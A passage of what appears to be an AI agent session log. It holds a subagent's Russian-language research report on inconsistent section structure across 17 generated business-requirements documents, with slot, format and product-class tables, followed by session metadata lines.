\u0443\u043f\u043e\u0440\u044f\u0434\u043e\u0447\u0435\u043d\u043d\u0430\u044f \u043f\u043e\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u044c\u043d\u043e\u0441\u0442\u044c \u0441\u043b\u043e\u0442\u043e\u0432 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u0430. \u0421\u0440\u0435\u0434\u0438 17\\n\u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0438\u0440\u0443\u044e\u0449\u0438\u0445 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u043e\u0432 **\u043d\u0435\u0442 \u043d\u0438 \u043e\u0434\u043d\u043e\u0439 \u043f\u0430\u0440\u044b \u0441 \u0441\u043e\u0432\u043f\u0430\u0434\u0430\u044e\u0449\u0438\u043c \u0441\u043a\u0435\u043b\u0435\u0442\u043e\u043c**.\\n\u0421\u043e\u0432\u043f\u0430\u0434\u0435\u043d\u0438\u0439 \u043d\u0435\u0442 \u0438 \u043f\u043e\u0441\u043b\u0435 \u043e\u0433\u0440\u0443\u0431\u043b\u0435\u043d\u0438\u044f \u0434\u043e \u043c\u043d\u043e\u0436\u0435\u0441\u0442\u0432\u0430 \u0441\u043b\u043e\u0442\u043e\u0432.\\n\\n\u042d\u0442\u043e \u043d\u0435 \u0440\u0430\u0437\u043d\u043e\u043e\u0431\u0440\u0430\u0437\u0438\u0435 \u0437\u0430\u0434\u0430\u0447: \u0440\u0430\u0441\u0445\u043e\u0436\u0434\u0435\u043d\u0438\u0435 \u0441\u043e\u0445\u0440\u0430\u043d\u044f\u0435\u0442\u0441\u044f **\u0432\u043d\u0443\u0442\u0440\u0438 \u043e\u0434\u043d\u043e\u0439 \u0437\u0430\u0434\u0430\u0447\u0438** \u0438\\n**\u0432\u043d\u0443\u0442\u0440\u0438 \u043e\u0434\u043d\u043e\u0433\u043e \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u0430**, \u0442\u043e \u0435\u0441\u0442\u044c \u043f\u0440\u0438 \u043e\u0434\u0438\u043d\u0430\u043a\u043e\u0432\u043e\u043c \u0432\u0445\u043e\u0434\u0435.\\n\\n| \u0413\u0440\u0443\u043f\u043f\u0430 | \u0410\u0440\u0442\u0435\u0444\u0430\u043a\u0442\u043e\u0432 | \u0420\u0430\u0437\u043b\u0438\u0447\u043d\u044b\u0445 \u0441\u043a\u0435\u043b\u0435\u0442\u043e\u0432 | \u0421\u0440\u0435\u0434\u043d\u0438\u0439 \u0416\u0430\u043a\u043a\u0430\u0440 | \u041c\u0438\u043d\u0438\u043c\u0430\u043b\u044c\u043d\u044b\u0439 |\\n| --- | --- | --- | --- | --- |\\n| BCREQ-1074 (RUN-0063, RUN-0064, RUN-0067) | 3 | 3 | 0.69 | 0.571 |\\n| `bcreq-1059-multichannel-slots-limits` | 2 | 2 | 0.286 | 0.286 |\\n| `bcreq-1069-restricted-api-key` | 2 | 2 | 0.2 | 0.2 |\\n| `feasibility-assessment-tender-*` | 2 | 2 | 0.167 | 0.167 |\\n| `multichannel-agent-workload` | 2 | 2 | 0.333 | 0.333 |\\n\\n\u0413\u0440\u0443\u043f\u043f\u0430 BCREQ-1074 \u2014 \u0441\u0430\u043c\u043e\u0435 \u0447\u0438\u0441\u0442\u043e\u0435 \u043d\u0430\u0431\u043b\u044e\u0434\u0435\u043d\u0438\u0435 \u0432 \u043a\u043e\u0440\u043f\u0443\u0441\u0435: \u043e\u0434\u043d\u0430 \u0438 \u0442\u0430 \u0436\u0435 \u0437\u0430\u0434\u0430\u0447\u0430,\\n\u0442\u0440\u0438 \u043f\u0440\u043e\u0433\u043e\u043d\u0430, \u0442\u0440\u0438 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u0430. \u0418\u0445 \u043f\u043e\u0434\u043f\u0438\u0441\u0438 \u0440\u0430\u0437\u0434\u0435\u043b\u043e\u0432:\\n\\n| # | [RUN-0063](https://github.com/G-Ivan-A/mango_ba_prompts/tree/main/runs/2026/RUN-0063) | [RUN-0064](https://github.com/G-Ivan-A/mango_ba_prompts/tree/main/runs/2026/RUN-0064) | [RUN-0067](https://github.com/G-Ivan-A/mango_ba_prompts/tree/main/runs/2026/RUN-0067) |\\n| --- | --- | --- | --- |\\n| 1 | \u0413\u043b\u043e\u0441\u0441\u0430\u0440\u0438\u0439 | \u0413\u043b\u043e\u0441\u0441\u0430\u0440\u0438\u0439 | \u0422\u0435\u0440\u043c\u0438\u043d\u044b \u0438 \u043e\u043f\u0440\u0435\u0434\u0435\u043b\u0435\u043d\u0438\u044f |\\n| 2 | \u041f\u0440\u043e\u0431\u043b\u0435\u043c\u0430, \u0446\u0435\u043b\u0438 \u0438 \u0437\u0430\u0434\u0430\u0447\u0438 | \u041f\u0440\u043e\u0431\u043b\u0435\u043c\u0430, \u0446\u0435\u043b\u044c \u0438 \u0433\u0440\u0430\u043d\u0438\u0446\u044b \u0438\u0437\u043c\u0435\u043d\u0435\u043d\u0438\u044f | \u041f\u0440\u043e\u0431\u043b\u0435\u043c\u0430, \u0446\u0435\u043b\u044c, \u0437\u0430\u0434\u0430\u0447\u0430 |\\n| 3 | \u041c\u043e\u0434\u0435\u043b\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u0435 \u0432\u0435\u0440\u0445\u043d\u0435\u0443\u0440\u043e\u0432\u043d\u0435\u0432\u044b\u0445 \u0424\u0422 | \u041c\u043e\u0434\u0435\u043b\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u0435 \u0432\u0435\u0440\u0445\u043d\u0435\u0443\u0440\u043e\u0432\u043d\u0435\u0432\u044b\u0445 \u0424\u0422 | \u041e\u043f\u0438\u0441\u0430\u043d\u0438\u0435 \u0440\u0430\u0437\u0440\u0430\u0431\u0430\u0442\u044b\u0432\u0430\u0435\u043c\u043e\u0433\u043e \u0440\u0435\u0448\u0435\u043d\u0438\u044f |\\n| 4 | \u0424\u0443\u043d\u043a\u0446\u0438\u043e\u043d\u0430\u043b\u044c\u043d\u044b\u0435 \u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u044f \u0438 \u0441\u0446\u0435\u043d\u0430\u0440\u0438\u0438 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u044f | **UI-\u043b\u043e\u0433\u0438\u043a\u0430 \u0438 \u0441\u0446\u0435\u043d\u0430\u0440\u0438\u0438 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u044f** | \u0424\u0443\u043d\u043a\u0446\u0438\u043e\u043d\u0430\u043b\u044c\u043d\u044b\u0435 \u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u044f \u0438 \u0441\u0446\u0435\u043d\u0430\u0440\u0438\u0438 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u044f |\\n| 5 | \u041d\u0435\u0444\u0443\u043d\u043a\u0446\u0438\u043e\u043d\u0430\u043b\u044c\u043d\u044b\u0435 \u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u044f | \u041d\u0435\u0444\u0443\u043d\u043a\u0446\u0438\u043e\u043d\u0430\u043b\u044c\u043d\u044b\u0435 \u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u044f | \u041d\u0435\u0444\u0443\u043d\u043a\u0446\u0438\u043e\u043d\u0430\u043b\u044c\u043d\u044b\u0435 \u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u044f |\\n| 6 | \u041e\u0433\u0440\u0430\u043d\u0438\u0447\u0435\u043d\u0438\u044f | \u041e\u0433\u0440\u0430\u043d\u0438\u0447\u0435\u043d\u0438\u044f \u0438 \u043e\u0442\u043a\u0440\u044b\u0442\u044b\u0435 \u0440\u0435\u0448\u0435\u043d\u0438\u044f | \u041e\u0441\u043e\u0431\u0435\u043d\u043d\u043e\u0441\u0442\u0438 \u0440\u0435\u0430\u043b\u0438\u0437\u0430\u0446\u0438\u0438 |\\n| 7 | \u2014 | \u2014 | \u0412\u043e\u043f\u0440\u043e\u0441\u044b \u0432\u043b\u0430\u0434\u0435\u043b\u044c\u0446\u0443 \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u0430 |\\n\\n**\u0410\u0440\u043d\u043e\u0441\u0442\u044c \u0443\u0441\u0442\u043e\u0439\u0447\u0438\u0432\u0430, \u0441\u0435\u043c\u0430\u043d\u0442\u0438\u043a\u0430 \u0441\u043b\u043e\u0442\u043e\u0432 \u2014 \u043d\u0435\u0442.** \u0428\u0435\u0441\u0442\u044c \u0440\u0430\u0437\u0434\u0435\u043b\u043e\u0432 \u0432\u043e\u0441\u043f\u0440\u043e\u0438\u0437\u0432\u043e\u0434\u044f\u0442\u0441\u044f\\n\u0432 \u0434\u0432\u0443\u0445 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u0430\u0445 \u0438\u0437 \u0442\u0440\u0451\u0445, \u043d\u043e \u0440\u0430\u0437\u0434\u0435\u043b 3 \u0432 RUN-0067 \u043c\u0435\u043d\u044f\u0435\u0442 \u043f\u0440\u0435\u0434\u043c\u0435\u0442 (\u0440\u0435\u0448\u0435\u043d\u0438\u0435\\n\u0432\u043c\u0435\u0441\u0442\u043e \u043c\u043e\u0434\u0435\u043b\u0438 \u0424\u0422), \u0440\u0430\u0437\u0434\u0435\u043b 4 \u0432 RUN-0064 \u043c\u0435\u043d\u044f\u0435\u0442 \u043f\u0440\u0435\u0434\u043c\u0435\u0442 \u0441 \u0441\u0438\u0441\u0442\u0435\u043c\u043d\u043e\u0439 \u043b\u043e\u0433\u0438\u043a\u0438 \u043d\u0430\\nUI, \u0440\u0430\u0437\u0434\u0435\u043b 6 \u0432 \u0442\u0440\u0451\u0445 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u0430\u0445 \u043d\u0435\u0441\u0451\u0442 \u0442\u0440\u0438 \u0440\u0430\u0437\u043d\u044b\u0445 \u0441\u043c\u044b\u0441\u043b\u0430.\\n\\n## 4. \u0421\u043b\u043e\u0442\u044b: \u0447\u0430\u0441\u0442\u043e\u0442\u0430 \u0438 \u043f\u043e\u0437\u0438\u0446\u0438\u044f\\n\\n| \u0421\u043b\u043e\u0442 | \u0420\u0430\u0437\u0434\u0435\u043b\u043e\u0432 | \u0420\u0430\u0437\u043b\u0438\u0447\u043d\u044b\u0445 \u043f\u043e\u0434\u043f\u0438\u0441\u0435\u0439 |\\n| --- | --- | --- |\\n| `S-OTHER` (\u0432\u043d\u0435 \u0441\u043b\u043e\u0432\u0430\u0440\u044f) | 33 | 27 |\\n| `S-SCENARIO` | 14 | 14 |\\n| `S-FR` | 14 | 10 |\\n| `S-PROBLEM` | 10 | 8 |\\n| `S-LIMITS` | 9 | 7 |\\n| `S-SOLUTION` | 8 | 6 |\\n| `S-OPEN` | 7 | 5 |\\n| `S-GLOSSARY` | 6 | 4 |\\n| `S-TRACE` | 5 | 3 |\\n| `S-AC` | 1 | 1 |\\n| `S-UI` | 1 | 1 |\\n\\n\u0414\u0432\u0430 \u043d\u0430\u0431\u043b\u044e\u0434\u0435\u043d\u0438\u044f, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u043e\u043f\u0440\u0435\u0434\u0435\u043b\u044f\u044e\u0442 \u0441\u043e\u0434\u0435\u0440\u0436\u0430\u043d\u0438\u0435 \u043c\u043e\u0434\u0443\u043b\u044f:\\n\\n- **`S-SCENARIO`: 14 \u0440\u0430\u0437\u0434\u0435\u043b\u043e\u0432, 14 \u0440\u0430\u0437\u043b\u0438\u0447\u043d\u044b\u0445 \u043f\u043e\u0434\u043f\u0438\u0441\u0435\u0439.** \u041d\u0438 \u043e\u0434\u0438\u043d \u0441\u043c\u044b\u0441\u043b\u043e\u0432\u043e\u0439 \u0441\u043b\u043e\u0442\\n  \u043d\u0435 \u0438\u043c\u0435\u0435\u0442 \u0443\u0441\u0442\u043e\u0439\u0447\u0438\u0432\u043e\u0433\u043e \u0438\u043c\u0435\u043d\u0438. \u041f\u043e\u0434\u043f\u0438\u0441\u044c \u0440\u0430\u0437\u0434\u0435\u043b\u0430 \u0432 \u043a\u043e\u0440\u043f\u0443\u0441\u0435 \u2014 \u0441\u0432\u043e\u0431\u043e\u0434\u043d\u044b\u0439 \u0442\u0435\u043a\u0441\u0442.\\n- **`S-UI` = 1 \u0438 `S-AC` = 1 \u043d\u0430 17 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u043e\u0432.** UI-\u043b\u043e\u0433\u0438\u043a\u0430 \u0438 \u043a\u0440\u0438\u0442\u0435\u0440\u0438\u0438 \u043f\u0440\u0438\u0451\u043c\u043a\u0438\\n  \u043f\u043e\u0447\u0442\u0438 \u043d\u0438\u0433\u0434\u0435 \u043d\u0435 \u0432\u044b\u0434\u0435\u043b\u0435\u043d\u044b \u0432 \u0441\u043e\u0431\u0441\u0442\u0432\u0435\u043d\u043d\u044b\u0439 \u0440\u0430\u0437\u0434\u0435\u043b. \u041e\u043d\u0438 \u043d\u0435 \u043e\u0442\u0441\u0443\u0442\u0441\u0442\u0432\u0443\u044e\u0442 \u0432 \u0442\u0435\u043a\u0441\u0442\u0435 \u2014\\n  \u043e\u043d\u0438 \u0440\u0430\u0441\u0442\u0432\u043e\u0440\u0435\u043d\u044b \u0432\u043d\u0443\u0442\u0440\u0438 `S-FR`/`S-SCENARIO`. \u042d\u0442\u043e \u043c\u0430\u0448\u0438\u043d\u043d\u043e\u0435 \u043f\u043e\u0434\u0442\u0432\u0435\u0440\u0436\u0434\u0435\u043d\u0438\u0435\\n  \u043f\u043e\u0441\u0442\u0430\u043d\u043e\u0432\u043a\u0438 issue #561 \u043e \u0441\u043c\u0435\u0448\u0435\u043d\u0438\u0438 \u0441\u0438\u0441\u0442\u0435\u043c\u043d\u043e\u0439 \u043b\u043e\u0433\u0438\u043a\u0438 \u0438 \u043f\u043e\u0432\u0435\u0434\u0435\u043d\u0438\u044f \u0438\u043d\u0442\u0435\u0440\u0444\u0435\u0439\u0441\u0430 \u0432\\n  \u0440\u0430\u0437\u0434\u0435\u043b\u0435 \u00ab\u0424\u0443\u043d\u043a\u0446\u0438\u043e\u043d\u0430\u043b\u044c\u043d\u044b\u0435 \u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u044f \u0438 \u0441\u0446\u0435\u043d\u0430\u0440\u0438\u0438 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u044f\u00bb.\\n\\n\u041f\u043e\u0437\u0438\u0446\u0438\u043e\u043d\u043d\u043e\u0435 \u0440\u0430\u0441\u043f\u0440\u0435\u0434\u0435\u043b\u0435\u043d\u0438\u0435 \u043f\u043e\u043a\u0430\u0437\u044b\u0432\u0430\u0435\u0442 \u0442\u043e\u0442 \u0436\u0435 \u043f\u0440\u043e\u0444\u0438\u043b\u044c: \u043f\u043e\u0437\u0438\u0446\u0438\u0438 1\u20132 \u043e\u0442\u043d\u043e\u0441\u0438\u0442\u0435\u043b\u044c\u043d\u043e\\n\u0443\u0441\u0442\u043e\u0439\u0447\u0438\u0432\u044b (`S-GLOSSARY` 5 \u0438\u0437 17 \u043d\u0430 \u043f\u043e\u0437\u0438\u0446\u0438\u0438 1, `S-PROBLEM` 4 \u043d\u0430 \u043f\u043e\u0437\u0438\u0446\u0438\u0438 2),\\n\u0434\u0430\u043b\u044c\u0448\u0435 \u0440\u0430\u0441\u043f\u0440\u0435\u0434\u0435\u043b\u0435\u043d\u0438\u0435 \u0440\u0430\u0441\u043f\u043b\u044b\u0432\u0430\u0435\u0442\u0441\u044f \u2014 \u043d\u0430 \u043f\u043e\u0437\u0438\u0446\u0438\u0438 4 \u0432\u0441\u0442\u0440\u0435\u0447\u0430\u0435\u0442\u0441\u044f \u0441\u0435\u043c\u044c \u0440\u0430\u0437\u043d\u044b\u0445\\n\u0441\u043b\u043e\u0442\u043e\u0432.\\n\\n## 5. \u0424\u043e\u0440\u043c\u0430\u0442\u044b\\n\\n| \u041a\u043b\u0430\u0441\u0441 | \u0414\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u043e\u0432 | \u041f\u0440\u0438\u0437\u043d\u0430\u043a |\\n| --- | --- | --- |\\n| `F-NARRATIVE` | 7 | \u043d\u0435\u0442 \u043d\u0443\u043c\u0435\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0445 \u0438\u0434\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0442\u043e\u0440\u043e\u0432 \u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u0439, \u043f\u043e\u0432\u0435\u0441\u0442\u0432\u043e\u0432\u0430\u043d\u0438\u0435 |\\n| `F-CLASSIC` | 6 | \u043d\u0443\u043c\u0435\u0440\u0430\u0446\u0438\u044f \u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u0439, \u2265 6 \u0440\u0430\u0437\u0434\u0435\u043b\u043e\u0432 |\\n| `F-MIXED` | 3 | \u043d\u0443\u043c\u0435\u0440\u0430\u0446\u0438\u044f \u0435\u0441\u0442\u044c, \u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u0430 \u043d\u0435\u043f\u043e\u043b\u043d\u0430\u044f |\\n| `F-SHORT` | 1 | \u2264 3 \u0440\u0430\u0437\u0434\u0435\u043b\u0430 |\\n\\n\u0424\u043e\u0440\u043c\u0430\u0442 \u0432 \u043a\u043e\u0440\u043f\u0443\u0441\u0435 \u043d\u0435 \u043e\u0431\u044a\u044f\u0432\u043b\u044f\u0435\u0442\u0441\u044f \u0438 \u043d\u0435 \u0432\u044b\u0431\u0438\u0440\u0430\u0435\u0442\u0441\u044f \u2014 \u043e\u043d \u043f\u043e\u043b\u0443\u0447\u0430\u0435\u0442\u0441\u044f. \u041d\u0438 \u043e\u0434\u0438\u043d\\n\u043f\u0440\u043e\u0433\u043e\u043d \u043d\u0435 \u0444\u0438\u043a\u0441\u0438\u0440\u0443\u0435\u0442 \u0432\u043e \u0432\u0445\u043e\u0434\u0435, \u043a\u0430\u043a\u043e\u0439 \u0444\u043e\u0440\u043c\u0430\u0442 \u043e\u0436\u0438\u0434\u0430\u0435\u0442\u0441\u044f \u043d\u0430 \u0432\u044b\u0445\u043e\u0434\u0435.\\n\\n## 6. \u041f\u0440\u043e\u0434\u0443\u043a\u0442\u043e\u0432\u043e\u0435 \u043f\u043e\u043a\u0440\u044b\u0442\u0438\u0435\\n\\n\u0420\u0430\u0437\u043c\u0435\u0442\u043a\u0430 \u043c\u043d\u043e\u0436\u0435\u0441\u0442\u0432\u0435\u043d\u043d\u0430\u044f: \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442 \u043e\u0442\u043d\u043e\u0441\u0438\u0442\u0441\u044f \u043a \u043a\u043b\u0430\u0441\u0441\u0443, \u0435\u0441\u043b\u0438 \u0435\u0433\u043e \u0442\u0435\u043a\u0441\u0442 \u0441\u043e\u0434\u0435\u0440\u0436\u0438\u0442\\n\u043b\u0435\u043a\u0441\u0438\u043a\u0443 \u043a\u043b\u0430\u0441\u0441\u0430.\\n\\n| \u041f\u0440\u043e\u0434\u0443\u043a\u0442\u043e\u0432\u044b\u0439 \u043a\u043b\u0430\u0441\u0441 | \u0414\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u043e\u0432 |\\n| --- | --- |\\n| `contact-center` | 15 |\\n| `billing-finance` | 15 |\\n| `voice-ucaas` | 14 |\\n| `analytics-reporting` | 12 |\\n| `integration` | 12 |\\n| `self-service-lk` | 11 |\\n\\n\u0427\u0438\u0441\u043b\u0430 \u0431\u043e\u043b\u044c\u0448\u0435 \u043f\u043e\u0445\u043e\u0436\u0438 \u043d\u0430 \u0437\u0430\u043c\u0435\u0440 \u043b\u0435\u043a\u0441\u0438\u043a\u0438, \u0447\u0435\u043c \u043d\u0430 \u0437\u0430\u043c\u0435\u0440 \u043f\u0440\u0435\u0434\u043c\u0435\u0442\u0430: \u043f\u043e\u0447\u0442\u0438 \u043a\u0430\u0436\u0434\u044b\u0439\\n\u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442 \u043f\u043e\u043c\u0435\u0447\u0435\u043d \u043f\u043e\u0447\u0442\u0438 \u043a\u0430\u0436\u0434\u044b\u043c \u043a\u043b\u0430\u0441\u0441\u043e\u043c. \u0421\u043e\u0434\u0435\u0440\u0436\u0430\u0442\u0435\u043b\u044c\u043d\u044b\u0439 \u0432\u044b\u0432\u043e\u0434 \u043e\u0442\u0441\u044e\u0434\u0430 \u043e\u0434\u0438\u043d \u0438 \u043e\u043d\\n\u043e\u0442\u0440\u0438\u0446\u0430\u0442\u0435\u043b\u044c\u043d\u044b\u0439 \u2014 **\u043a\u043e\u0440\u043f\u0443\u0441 \u043d\u0435 \u0434\u0430\u0451\u0442 \u0447\u0438\u0441\u0442\u044b\u0445 \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u043e\u0432\u044b\u0445 \u0432\u044b\u0431\u043e\u0440\u043e\u043a**. \u041d\u0438 \u0434\u043b\u044f \u043e\u0434\u043d\u043e\u0433\u043e\\n\u043a\u043b\u0430\u0441\u0441\u0430 \u043d\u0435\u043b\u044c\u0437\u044f \u043d\u0430\u0431\u0440\u0430\u0442\u044c \u044d\u0442\u0430\u043b\u043e\u043d \u0438\u043d\u0434\u0443\u043a\u0446\u0438\u0435\u0439 \u043f\u043e \u0438\u0441\u0442\u043e\u0440\u0438\u0447\u0435\u0441\u043a\u0438\u043c \u043f\u0440\u043e\u0433\u043e\u043d\u0430\u043c, \u043f\u043e\u0442\u043e\u043c\u0443 \u0447\u0442\u043e\\n\u043d\u0435\u0442 \u043d\u0438 \u043e\u0434\u043d\u043e\u0439 \u0433\u0440\u0443\u043f\u043f\u044b \u00ab\u043d\u0435\u0441\u043a\u043e\u043b\u044c\u043a\u043e \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u043e\u0432 \u043e\u0434\u043d\u043e\u0433\u043e \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u043e\u0432\u043e\u0433\u043e \u043a\u043b\u0430\u0441\u0441\u0430 \u0441\\n\u0441\u043e\u0433\u043b\u0430\u0441\u043e\u0432\u0430\u043d\u043d\u043e\u0439 \u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u043e\u0439\u00bb. \u042d\u0442\u043e \u0444\u0430\u043a\u0442\u0438\u0447\u0435\u0441\u043a\u043e\u0435 \u043e\u0441\u043d\u043e\u0432\u0430\u043d\u0438\u0435 \u0434\u043b\u044f \u0441\u0438\u043d\u0442\u0435\u0437\u0430 Golden Set,\\n\u043a\u043e\u0442\u043e\u0440\u043e\u0433\u043e \u0442\u0440\u0435\u0431\u0443\u0435\u0442 \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442 3 issue #561, \u0430 \u043d\u0435 \u0440\u0435\u0448\u0435\u043d\u0438\u0435 \u043e\u0431 \u0443\u0434\u043e\u0431\u0441\u0442\u0432\u0435.\\n\\n## 7. \u0413\u0440\u0430\u043d\u0438\u0446\u044b \u0438\u0437\u043c\u0435\u0440\u0435\u043d\u0438\u044f\\n\\n- \u041a\u043b\u0430\u0441\u0441\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u044f \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u0430 \u043f\u043e \u043a\u043b\u0430\u0441\u0441\u0443 \u043e\u043f\u0438\u0440\u0430\u0435\u0442\u0441\u044f \u043d\u0430 \u0437\u0430\u0433\u043e\u043b\u043e\u0432\u043e\u043a \u0438 \u043b\u0435\u043a\u0441\u0438\u043a\u0443, \u043e\u0431\u0435\\n  \u043e\u0448\u0438\u0431\u043a\u0438 \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u044b. \u041f\u0440\u043e\u0432\u0435\u0440\u044f\u043b\u0430\u0441\u044c \u0432\u0440\u0443\u0447\u043d\u0443\u044e \u043f\u043e \u0441\u043f\u0438\u0441\u043a\u0443 \u0438\u0437 17 \u0444\u0430\u0439\u043b\u043e\u0432; \u043b\u043e\u0436\u043d\u044b\u0445\\n  \u0432\u043a\u043b\u044e\u0447\u0435\u043d\u0438\u0439 \u043f\u043e\u0441\u043b\u0435 \u0443\u0442\u043e\u0447\u043d\u0435\u043d\u0438\u044f \u043a\u043b\u0430\u0441\u0441\u0438\u0444\u0438\u043a\u0430\u0442\u043e\u0440\u0430 \u043d\u0435 \u043e\u0441\u0442\u0430\u043b\u043e\u0441\u044c, \u043b\u043e\u0436\u043d\u044b\u0435 \u0438\u0441\u043a\u043b\u044e\u0447\u0435\u043d\u0438\u044f\\n  \u0438\u0441\u043a\u043b\u044e\u0447\u0438\u0442\u044c \u043d\u0435\u043b\u044c\u0437\u044f.\\n- \u0421\u043b\u043e\u0442 \u043f\u0440\u0438\u0441\u0432\u0430\u0438\u0432\u0430\u0435\u0442\u0441\u044f \u043f\u043e \u043f\u0435\u0440\u0432\u043e\u043c\u0443 \u0441\u0440\u0430\u0431\u043e\u0442\u0430\u0432\u0448\u0435\u043c\u0443 \u043f\u0440\u0430\u0432\u0438\u043b\u0443 `SLOT_RULES`. \u0420\u0430\u0437\u0434\u0435\u043b \u0441\u043e\\n  \u0441\u043c\u0435\u0448\u0430\u043d\u043d\u044b\u043c \u0441\u043e\u0434\u0435\u0440\u0436\u0430\u043d\u0438\u0435\u043c (\u043d\u0430\u043f\u0440\u0438\u043c\u0435\u0440, \u0424\u0422 \u0432\u043c\u0435\u0441\u0442\u0435 \u0441 UI) \u043f\u043e\u043b\u0443\u0447\u0430\u0435\u0442 \u043e\u0434\u0438\u043d \u0441\u043b\u043e\u0442 \u2014\\n  \u0438\u0437\u043c\u0435\u0440\u0435\u043d\u0438\u0435 \u0437\u0430\u043d\u0438\u0436\u0430\u0435\u0442 \u0441\u043c\u0435\u0448\u0435\u043d\u0438\u0435, \u0430 \u043d\u0435 \u0437\u0430\u0432\u044b\u0448\u0430\u0435\u0442 \u0435\u0433\u043e.\\n- 17 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u043e\u0432 \u2014 \u043c\u0430\u043b\u0430\u044f \u0432\u044b\u0431\u043e\u0440\u043a\u0430. \u0423\u0442\u0432\u0435\u0440\u0436\u0434\u0435\u043d\u0438\u044f \u0440\u0430\u0437\u0434\u0435\u043b\u0430 3 \u0441\u0444\u043e\u0440\u043c\u0443\u043b\u0438\u0440\u043e\u0432\u0430\u043d\u044b \u043a\u0430\u043a\\n  \u043d\u0430\u0431\u043b\u044e\u0434\u0435\u043d\u0438\u044f \u043d\u0430 \u043a\u043e\u0440\u043f\u0443\u0441\u0435, \u0430 \u043d\u0435 \u043a\u0430\u043a \u0441\u0442\u0430\u0442\u0438\u0441\u0442\u0438\u043a\u0430: \u043f\u0440\u0438 17 \u043d\u0430\u0431\u043b\u044e\u0434\u0435\u043d\u0438\u044f\u0445 \u00ab17 \u0438\u0437 17\\n  \u0440\u0430\u0437\u043b\u0438\u0447\u043d\u044b\u00bb \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0442\u0438\u0432\u043d\u043e, \u0430 \u0434\u043e\u043b\u0438 \u043f\u043e \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u043e\u0432\u044b\u043c \u043a\u043b\u0430\u0441\u0441\u0430\u043c \u2014 \u043d\u0435\u0442.\\n- \u041a\u043e\u0440\u043f\u0443\u0441 \u2014 \u0435\u0434\u0438\u043d\u0441\u0442\u0432\u0435\u043d\u043d\u0430\u044f \u0441\u043f\u0438\u0446\u0430 (Mango). \u041f\u0435\u0440\u0435\u043d\u043e\u0441\u0438\u043c\u043e\u0441\u0442\u044c \u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u044b \u043d\u0430 \u0434\u0440\u0443\u0433\u0438\u0435\\n  \u043f\u0440\u0435\u0434\u043c\u0435\u0442\u043d\u044b\u0435 \u043e\u0431\u043b\u0430\u0441\u0442\u0438 \u044d\u0442\u0438\u043c \u0437\u0430\u043c\u0435\u0440\u043e\u043c \u043d\u0435 \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u0442\u0441\u044f.\\n\\n## 8. \u0412\u043e\u0441\u043f\u0440\u043e\u0438\u0437\u0432\u0435\u0434\u0435\u043d\u0438\u0435\\n\\n\u041a\u043e\u043d\u0442\u0435\u0439\u043d\u0435\u0440:\\n[`research/ba-requirements/exp/ba-micro-structure-561/`](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/tree/main/research/ba-requirements/exp/ba-micro-structure-561).\",\n[2026-09-29T07:45:01.758Z] [INFO]         \"is_error\": false\n[2026-09-29T07:45:01.758Z] [INFO]       }\n[2026-09-29T07:45:01.758Z] [INFO]     ]\n[2026-09-29T07:45:01.758Z] [INFO]   },\n[2026-09-29T07:45:01.758Z] [INFO]   \"parent_tool_use_id\": \"toolu_01GFx7YR63TmqWwLsYXBMEow\",\n[2026-09-29T07:45:01.758Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:45:01.758Z] [INFO]   \"uuid\": \"fa631504-24d0-442a-bfe1-c7b07abb3ef7\",\n[2026-09-29T07:45:01.758Z] [INFO]   \"timestamp\": \"2026-09-29T07:45:01.735Z\",\n[2026-09-29T07:45:01.758Z] [INFO]   \"subagent_type\": \"general-purpose\",\n[2026-09-29T07:45:01.758Z] [INFO]   \"task_description\": \"Analyze ba-requirements research\"\n[2026-09-29T07:45:01.758Z] [INFO] }\n[2026-09-29T07:45:01.774Z] [STDOUT] [log_9a53e7] sending request {\n[2026-09-29T07:45:01.778Z] [STDOUT]   method: 